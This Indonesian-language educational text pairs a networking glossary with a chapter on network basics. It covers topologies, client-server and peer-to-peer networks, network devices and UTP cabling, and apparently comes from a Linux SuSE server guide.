VPN : VPN (virtual private network) adalah koneksi internet pribadi yang aman dan terenkripsi untuk menjamin bahwa hanya pengguna yang berhak yang dapat mengaksesnya dan trasfer data yang dilakukan tidak dapat diganggu.

VSAT : VSAT (Very Small Aperture Terminal) stasiun bumi yang digunakan pada satelit komunikasi sinyal data, suara, dan video, kecuali pemancaran televisi. VSAT terdiri dari dua bagian: sebuah transceiver yang diletakkan ditempat terbuka sehingga dapat secara langsung menerima sinyal dari satelit dan sebuah piranti yang diletakkan dalam ruangan untuk menghubungkan transceiver dan piranti komunikasi pengguna akhir(end user), seperti PC.
Transceiver menerima dan mengirim sinyal ke transponder satelit diluar angkasa. Satelit mengirimkan dan menerima sinyal dari komputer stasiun bumi yang berfungsi sebagai hub sistem. Setiap pengguna yang saling terhubung dengan stasiunhub melewati satelit, membentuk topologi bintang. hub mengendalikan semua operasi pada jaringan. Semua transmisi untuk komunikasi antar pengguna harus melewati stasiunhub yang meneruskannya ke satelit dan kepengguna VSAT yang lain. VSAT dapat mengirimkan data sampai dengan kecepatan 56 Kbps.

WAN : WAN wide area network adalah komputer yang terhubung berada pada tempat yang berjauhan dan hubungan dengan line telepon atau gelombang radio. Lihat juga LAN dan jaringan.

Wi-Fi : Wi-Fi Wireless Fidelity adalah nama dagang resmi untuk IEEE 802.11b yang dibuat oleh Wireless Ethernet Compatibility Aliance (WECA). Istilah Wi-Fi menggantikan 802.11b seperti halnya istilah Ethernet menggantikan IEEE 802.3. Produk yang disertifikasi oleh WECA sebagai Wi-Fi dapat beroperasi bersama meskipun dibuat oleh perusahaan yang berbeda.

Workstation : Pada jaringan komputer, workstation adalah komputer yang terhubung dengan sebuah local-area network (LAN).
Istilah workstation juga digunakan untuk menyebut komputer yang digunakan untuk aplikasi teknik (CAD/CAM), desktop publishing, pengembangan software, dan aplikasi lainnya yang membutuhkan tingkat komputasi dan kemampuan grafis yang cukup tinggi.
Workstation biasanya terdiri dari layar grafik yang besar dengan revolusi tinggi, RAM minimal 64 MB, dukungan jaringan built-in, dan graphical user interface.
Sebagian besar workstation juga mempunyai piranti penyimpanan seperti disk drive, tetapi jenis workstation khusus, yang disebut diskless workstation, tidak mempunyai disk drive. Sistem operasi yang banyak digunakan untuk workstation adalah UNIX dan windows NT. Seperti halnya PC, sebagian besar workstation adalah komputer single user, Meski demikian, workstation pada dasarnya dihubungkan dengan local area network, meskipun dapat juga sebgian sistem yang berdiri sendiri stand alone.

100BaseT : 100BaseT adalah nama lain fast Ethernet yang mempunyai kecepatan transmisi sampai dengan 100 mbps. Jenis 100BaseT ini lebih mahal daripada 10BaseT dan lebih jarang digunakan pada local area network (LAN).

10Base2 : 10Base2 adalah satu jenis standar Ethernet ( IEEE802.3) untuk lokal area network ( LAN ). Standard 10 Base-2 ( yang juga disebut Thinnet )menggunakan kabel koasial 50 ohm ( RG-58A/U ) dengan panjang maksimal 185 meter.kabel ini lebih kecil dan lebih flesibel daripada yang digunakan untuk standard 10 Base 5. Sistem 10 Base-2 beroperasi pada 10 Mbps dan menggunakan metode tranmisi baseband.

10 Base5 : 10 Base-5 adalqh standard awal untuk Ethernet yang menggunakan kabel koasial. nama 10 Base5 didasarkan pada fakta bahwa kecepatan transfer data maksimum adalah 10 Mbps. menggunakan transmisi Baseband, dan panjang kabel maksimal adalah 500 meter. 10 Base5 juga disebut Thick Wire atau thick Net.

10BaseT : 10BaseT adalah jenis Ethernet yang paling umum. Nama tersebut menunjukan bahwa kecepatan transmisi maksimum adalah 10Mbps. 10BaseT menggunakan kabel tembaga dan merupakan card standard untuk menghubungkan komputer pada lokal area network (LAN)


source : Kamus TI

Dasar-dasar Jaringan

DASAR-DASAR JARINGAN

Pengertian Jaringan
Seringkali kita mendengar kata internet, sekilas mungkin kita akan
berpikir bahwa yang namanya internet merupakan sebuah jaringan yang sangat
besar dan terdiri dari banyak kompuer. Atau bahkan bagi orang yang awam internet
sering diartikan sebagai browsing, chatting, dan lain-lain.

Pengertian ini merupakan sebuah pandangan yang kurang benar. Karena sebenarnya internet adalah kumpulan dari jaringan-jaringan kecil dan besar yang saling terhubung secara real-time atau terus menerus di seluruh dunia.

Dalam suatu sistem jaringan, dimana seluruh komputer saling berbagi data dan resources satu sama lain sehingga tercapai efisiensi dalam pemanfaatan teknologi, amat dibutuhkan perangkat-perangkat khusus dan instalasi tertentu.

Pada bab ini akan dijelaskan beberapa peralatan yang digunakan dalam sistem jaringan serta pengaturan TCP/IP pada sistem operasi Windows.



Topologi Jaringan

Tujuan dari suatu jaringan adalah menghubungkan jaringan-jaringan yang telah ada dalam jaringan tersebut sehingga informasi dapat ditransfer dari satu lokasi ke lokasi yang lain. Karena suat perusahaan memuliki keinginan atau kebutuhan yang berbeda-beda maka terdapat berbagai cara jaringan terminal- terminal dapat dihubungkan. Struktur Geometric ini disebut dengan LAN
Topologies.

Terdapat 6 jenis topologi yaitu :
1. Bus
2. Ring
3. Star
4. Extended Star
5. hierarchical topology
6. Mesh
Setiap topologi memuliki karakteristik yang berdeda-beda dan masing-
masing juga memiliki keuntungan dan kerugian. Topologi tidak tergantung kepada
medianya dan setiap topologi biasanya menggunakan media.
Adapun jenis Media tersebut antara lain :
a. Twisted Pair
b. Coaxial Cable
c. Optical Cable
d. Wireless
Topologi dibagi menjadi dua jenis yaitu Physical Topology dan Logical
Topologi
. Dibawah ini adalah jenis-jenis Physical Topologi.

Panduan Lengkap Membangun Server Menggunakan Linux SuSE 9.1
1. Topologi Bus atau Daisy Chain
Topologi ini memiliki karakteristik sebagai berikut:
• merupakan satu kabel yang kedua ujung nya ditutup, dimana sepanjang
kabel terdapat node-node
• umum digunakan karena sederhana dalam instalasi
• signal melewati kabel dalam dua arah dan mungkin terjadi collision
• problem terbesar pada saat kabel putus. Jika salah satu segmen kabel putus,
maka seluruh jaringan akan terhenti.


2. Topologi Ring
Topologi ini mempuyai karakteristik sebagai berikut:
• lingkaran tertutup yang berisi node-node
• sederhana dalam layout
• signal mengalir dalam satu arah, sehingga dapat menghindarkan terjadinya
collision (dua paket data bercampur), sehingga memungkinkan pergerakan
data yang cepat dan collision detection yang lebih sederhana
• problem: sama dengan topologi bus
• biasanya topologi ring tidak dibuat secara fisik melainkan direalisasikan
dengan sebuah consentrator dan kelihatan seperti topologi star


3. Topolog Star
Topologi ini mempunyai karakteristik sebagai berikut:
• setiap node berkomunikasi langsung dengan central node, traffic data
mengalir dari node ke central node dan kembali lagi.
• mudah dikembangkan, karena setiap node hanya memiliki kabel yang
langsung terhubung ke central node
• keunggulannya adalah jika satu kabel node terputus yang lainnya tidak
terganggu
• dapat digunakan kabel yang “lower grade” karena hanya menghandel satu
traffic node, biasanya digunakan kabel UTP


4. Topologi Extended Star
Topologi Extended Star merupakan perkembangan lanjutan dari topologi star
dimana karakteristiknya tidak jauh berbeda dengan topologi star yaitu :
• setiap node berkomunikasi langsung dengan sub node, sedangkan sub node
berkomunikasi dengan central node. traffic data mengalir dari node ke sub
node lalu diteruskan ke central node dan kembali lagi.
• Digunakan pada jaringan yang besar dan membutuhkan penghubung yang
banyak atau melebihi dari kapasitas maksimal penghubung.
• keunggulan : jika satu kabel sub node terputus maka sub node yang lainnya
tidak terganggu, tetapi apabila central node terputus maka semua node
disetiap sub node akan terputus
• tidak dapat digunakan kabel yang “lower grade” karena hanya menghandel
satu traffic node, karena untuk berkomunikasi antara satu node ke node
lainnya membutuhkan beberapa kali hops.
5. Topologi hierarchical
Topologi ini biasa disebut sebagai topolodi tree. Dibangun oleh seperti halnya
topologi extended star yang dihubungkan melalui sub node dalam satu central node.
Topologi ini dapat mensupport baik baseband maupun broadband signaling dan
juga mensupport baik contention maupun token bus access.

6. Topologi Mesh
MESH topologi dibangun dengan memasang link diantara atation-station.
Sebuah ‘fully-connected mesh’ adalah sebauh jaringan dimana setiap terminal
terhubung secara langsung ke semua terminal-terminal yang lain. Biasanya
digunakan pada jaringan komputer kecil. Topologi ini secara teori memungkinkan
akan tetapi tidak praktis dan biayanya cukup tinggi untuk di-implementasikan. Mesh
topologi memiliki tingkat redundancy yang tinggi. Sehingga jika terdapat satu link
yang rusak maka suatu station dapat mencari link yang lainnya.

Sedangkan Logical Topology adalah FDDI, Token Ring, dan Ethernet.

Tipe Jaringan
Dalam jaringan terdapat tiga buah peran yang dijalankan. Yang pertama
adalah client. Peran ini hanya sebatas pengguna tetapi tidak menyediakan sumber
daya (sharing), informasi, dan lain-lain. Peran kedua adalah sebagai peer, yaitu
client yang menyediakan sumber daya untuk dibagi kepada client lain sekaligus
memakai sumber daya yang tersedia pada client yang lain (peer to peer).
Sedangkan peran yang terakhir adalah sebagai server, yaitu menyediakan sumber
daya secara maksimal untuk digunakan oleh client tetapi tidak memakai sumber
daya yang disediakan oleh client. Dibawah ini akan dijelaskan jenis-jenis jaringan
yang ada.
1. Jaringan Berbasis Server
Jaringan berbasis server atau client-server diartikan dengan adanya server
didalam sebuah jaringan yang menyediakan mekanisme pengamanandan

Panduan Lengkap Membangun Server Menggunakan Linux SuSE 9.1
pengelolaan jaringan tersebut. Jaringan ini terdiri dari banyak client dari satu atau
lebih server. Client juga biasa disebut front-end meminta layanan seperti
penyimpanan dan pencetakan data ke printer jaringan, sedangkan server yang
sering disebut back-end menyampaikan permintaan tersebut ke tujuan yang tepat.
Pada Windows NT, Windows 2000, dan Windows Server 2003, jaringan
berbasis server diorganisasikan di dalam domain-domain. Domain adalah koleksi
jaringan dan client yang saling berbagi informasi. Keamanan domain dan perizinan
log on dikendalikan oleh server khusus yang disebut domain controlle. Terdapat
satu pengendali domain utama atau Primary Domain Controller (PDC) dan
beberapa domain controller pendukung atau backup Domain Controller (BDC) yang
membantu PDC pada waktu-waktu sibuk atau pada saat PDC tidak berfungsi karena
alasan tertentu.
Primasry Domain Controller juga diterapkan di dalam jaringan yang
menggunakan server Linux. Software yang cukup andal menangani masalah ini
adalah samba yang sekaligus dapat digunakansebagai penyedia layanan file dan
print yang membuat computer Windows dapat mengakses file-file di mesin Linux
dan begitu pula sebaliknya.

Jaringan berbasis server memiliki beberapa keuntungan diantaranya adalah :
1. Media penyimpanan data yang terpusat memungkinkan semua user menyimpan
dan menggunakan data di server dan memberikan kemudahan melakukan back-
up data di saat kritis. Pemeliharaan data juga menjadi lebih mudah karena data
tidak tersebar di beberapa computer.
2. Kemampuan server untuk menyatukan media penyimpanan di satu tempat akan
menekan biaya pembangunan jaringan. Server yang telah dioptimalkan
membuat jaringan berjalan lebih cepat daripada jaringan peer-to-peer.
Membebaskan user dari pekerjaan mengelola jaringan.
3. Kemudahan mengatur jumlah pengguna yang banyak. Kemampuan untuk
sharing peralatan mahal seperti printer laser. Mengurangi masalah keamanan
karena pengguna harus memasukkan password untuk setiap peralatan jaringan
yang akan digunakan.

Panduan Lengkap Membangun Server Menggunakan Linux SuSE 9.1
2. Jaringan Peer-to-peer
Setiap computer di dalam jaringan peer mempunyai fungsi yang sama
dan dapat berkomunikasi dengan computer lain yang telah memberi izin. Jadi,
secara sederhana setiap komputer pada jaringan peer berfungsi sebagai client dan
server sekaligus. Jaringan peer digunakan di sebuah kantor kecil dengan jumlah
computer sedikit, dibawah sepuluh workstation.
Keuntungan menggunakan jaringan peer adalah :
1. Tidak memerlukan investasi tambahan untuk pembelian hardware dan software
server.
2. Tidak diperlukan seorang network administrator dan setupnya mudah serta
meminta biaya yang murah.
Kerugian menggunakan jaringan peer adalah :
1. Sharing sumberdaya pada suatu komputer didalam jaringan akan sangat
membebani computer tersebut.
2. Masalah lain adalah kesulitan dalam mengatur file-file. User harus menangani
komputernya sendiri jika ditemui masalah keamanan sangat lemah.
3. Jaringan Hybrid
Jaringan hybrid memiliki semua yang terdapat pada tiga tipe jaringan di
atas. Ini berarti pengguna dalam jaringan dapat mengakses sumber daya yang
dishare oleh jaringan peer, sedangkan di waktu bersamaan juga dapat
memanfaatkan seumber daya yang disediakan oleh server.
Keuntungan jaringan hybrid adalah sama dengan keuntungan
menggunakan jaringan berbasis server dan berbasis peer. Jaringan hybrid memiliki
kekurangan seperti pada jaringan berbasis server.

Peralatan Jaringan
Ada beberapa peralatan yang digunakan dalam jaringan, peralatan ini
sering digunakan di dalam perkantoran dan perusahan besar. Peralatan ini adalah :
1. Network Interface Card
Dalam memilih network interface card, ada beberapa pertimbangan yang
harus diperhatikan. Pertimbangan-pertimbangan ini sangat penting untuk
diperhatikan, yaitu :

Panduan Lengkap Membangun Server Menggunakan Linux SuSE 9.1
Tipe jaringan seperti Ethernet LANs, Token Ring, atau Fiber Distributed
Data Interface (FDDI).
Tipe Media seperti Twisted Pair, Coaxial, Fiber-Optic, dan Wireless.
Tipe Bus seperti ISA dan PCI.

2. PCMCIA Network Interface Card
PCMCIA card adalah card jaringan yang digunakan untuk terhubung
kedalam sebuah jaringan tanpa menggunakan kabel.

3. Modem
Modem atau Modul the Modulator adalah peralatan jaringan yang
digunakan untuk terhubung ke jaringan internet menggunakan kabel telepon.

4. HUB/Switch
HUB atau Switch digunakan untuk menghubungkan setiap node dalam
jaringan LAN. Peralatan ini sering digunakan pada topologi star dan extended star.
Perbedaan antara HUB dan Switch adalah kecepatan transfer datanya. Yaitu 10:100
Mbps.

5. Bridge
Bridge adalah peralatan jaringan yang digunakan untuk memperluas ata
memecah jaringan. Bridge berfungsi untuk menghubungkan dan menggabungkan
media jaringan yang tidak sama seperti kabel unshielded twisted pair (UTP) dan
kabel fiber-optic, dan untuk menggabungkan arsitektur jaringan yang berbeda
seperti Token Ring dan Ethernet. Bridge meregenerate sinyal tetapi tidak melakukan
konversi protocol, jadi protocol jaringan yang sama (seperti TCP/IP) harus berjalan
kepada kedua segemen jaringan yang terkoneksi ke bridge. Bridge dapat juga
mendukung Simple Network Management Protocol (SNMP), serta memiliki
kemampuan diagnosa jaringan.
Bridge hadir dalam tiga tipe dasar yaitu Local, Remote, dan Wireless.
Bridge local secara langsung menghubungkan Local Area Network (LAN). Bridge
remote yang dapat digunakan untuk membuat sebuah Wide Area Network (WAN)
menghubungkan dua atau lebih LAN. Sedangkan wireless bridge dapat digunakan
untuk menggabungkan LAN atau menghubungkan mesin-mesin yang jauh ke suatu
LAN.
Bridge beroperasi mengenali alamat MAC address node asal yang
mentransmisi data ke jaringan dan secara automatis membangun sebuah table
routing internal. Table ini digunakan untuk menentukan ke segmen mana paket akan
di route dan menyediakan kemampuan penyaringan (filtering). Setelah mengetahui
ke segmen mana suatu paket hendak disampaikan, bridge akan melanjutkan
pengiriman paket secara langsung ke segmen tersebut. Jika bride tidak mengenali
alamat tujuan paket, maka paket akan di forward ke semua segmen yang terkoneksi
kecuali segmen alamat asalanya. Dan jika alamat tujuan berada dalam segmen
yang sama dengan alamat asal, bridge akan menolak paket. Bridge juga
melanjutkan paket-paket broadcast ke semua segmen kecuali segmen asalnya.

6. Router
Router adalah peralatan jaringan yang digunakan untuk memperluas atau
memecah jaringan dengan melanjutkan paket-paket dari satu jaringan logika ke
jaringan yang lain. Router banyak digunakan di dalam internetwork yang besar

Panduan Lengkap Membangun Server Menggunakan Linux SuSE 9.1
menggunakan keluarga protocol TCP/IP dan untuk menghubungkan semua host
TCP/IP dan Local Area Network (LAN) ke internet menggunakan dedicated leased
line. Saat ini, masih banyak perusahaan menggunakan router Cisco 2500 series
untuk mengkoneksikan dua buah LAN (WAN dengan anggota dua LAN), LAN ke
ISP (Internet Service Provider). Koneksi seperti ini menyebabkan semua workstation
dapat terkoneksi ke internet selama 24 jam.
Router berisi table-tabel informasi internal yang disebut label routering
yang melakukan pencatatan terhadap semua alamat jaringan yang diketahui dan
lintasan yang mungkin dilalui. Router membuat jalur paket-paket berdasarkan
lintasan yang tersedia dan waktu tempuhnya. Karena menggunakan alamat paket
jaringan tujuan, router bekerja hanya jika protocol yang dikonfigurasi adalah protocol
yang routetable seperti TCP/IP atau atau IPX/SPX. Ini berbeda dengan bridge yang
bersifat protocol independent.

7. Crimping Tools
Crimping tools berguna untuk memotong, merapikan dan mengunci kabel
UTP dalam melakukan instalasi Networking.

Pengkabelan
1. Kupas lapisan luar kabel UTP sepanjang ± 1 Cm dari ujung, sehingga 8 urat
kabel terlihat dari luar.
2. Susun urutan warna kabel sesuai dengan standard internasional

Nomor kaki (pin) Nama Warna
1 Putih orange
2 Orange
3 Putih hijau
4 Biru
5 Putih biru
6 Hijau
7 Putih coklat
8 Coklat

3. Masukkan Ujung kabel UTP yang telah disusun menurut urutan internasional,
kemudian jepit dengan menggunakan crimping tool.

4. Pasang satu sisi RJ-45 ke dalam Network Card, dan sisi lainnya ke HUB/Switch

5. Jaringan siap dioperasikan